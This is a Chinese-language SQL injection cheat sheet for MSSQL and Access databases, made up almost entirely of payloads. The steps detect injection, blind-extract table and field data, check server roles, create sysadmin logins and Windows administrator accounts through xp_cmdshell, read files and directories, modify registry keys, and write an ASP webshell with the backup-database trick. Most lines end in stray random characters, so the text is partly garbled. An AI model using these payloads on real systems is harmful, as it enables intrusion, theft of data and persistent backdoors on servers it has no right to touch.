1.判断是否有注入;and 1=1 ;and 1=2 ~>-MVp
2.初步判断是否是mssql ;and user>0 X" m0||
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3.注入参数是字符'and [查询条件] and ''=' 8urX]#
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 2/F";tc\'
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5.判断数据库系统 lNRGlTD%
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;and (select count(*) from sysobjects)>0 mssql l\t\DX"s_
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;and (select count(*) from msysobjects)>0 access F)n^pT
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 d":GsI?3
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 1XXuFa&
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 e !2SO*O
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9.(1)猜字段的ascii值(access) c0aXOG^
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ;U)xZ _Ew~
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(2)猜字段的ascii值(mssql) W{W8\
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ~;S
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10.测试权限结构(mssql) }N,$4h9Dj
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- XDQ5qfE|
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- tN1xZW:
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- L'L[Vpx
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- !fmbm4!a
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- PX/7 :D?
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- a${<~M
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;and 1=(select IS_MEMBER('db_owner'));-- +=M N_
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11.添加mssql和系统的帐户 PrqyJ
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;exec master.dbo.sp_addlogin username;-- 9y+0Zj+.
;exec master.dbo.sp_password null,username,password;-- G nPrwDB
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- L.?QZN%cN
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;exec master.dbo.xp_cmdshell 'net user username password yQ!I`T>a
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Us2IeR
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- '4ip~>3?w
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- #1De#uZ
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12.(1)遍历目录 bYUG4+rD
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;and (select top 1 paths from dirs)>0 Z^!%
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Qg]+&8!*
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(2)遍历目录 \,S4-~(:!
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Dbu>rESz
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ]?%S0DO*
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ,GF]+nI89
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 XR_Gsb%l
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 tj4/x7!
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13.mssql中的存储过程 T5Iz{Ha
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xp_regenumvalues 注册表根键, 子键 3 <)+)n
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 R-YNg
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xp_regread 根键,子键,键值名 k8c(|/7d
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Lpohc4d[V
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xp_regwrite 根键,子键, 值名, 值类型, 值 %xrldn%
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 x[=,$;o+
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xp_regdeletevalue 根键,子键,值名 A0,h7<i
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ]nNn"_qh
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 V :/v
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14.mssql的backup创建webshell 1-$+@Xl
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use model dVg'v7G&V(
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create table cmd(str image); R"j<C13;%
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insert into cmd(str) values (''); g:Q:cSg<
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backup database model to disk='c:\l.asp'; 0V?7'Em
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15.mssql内置函数 M@JW/~p'
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;and (select @@version)>0 获得Windows的版本号 w
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa `=S%!akj
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;and (select user_name())>0 爆当前系统的连接用户 |8tKN"QG
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;and (select db_name())>0 得到当前连接的数据库 # [
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16.简洁的webshell yuC|_nL
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use model
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create table cmd(str image); Sk:x.oOZ
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insert into cmd(str) values (''); Apj[z2nr
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backup database model to disk='g:\wwwtest\l.asp';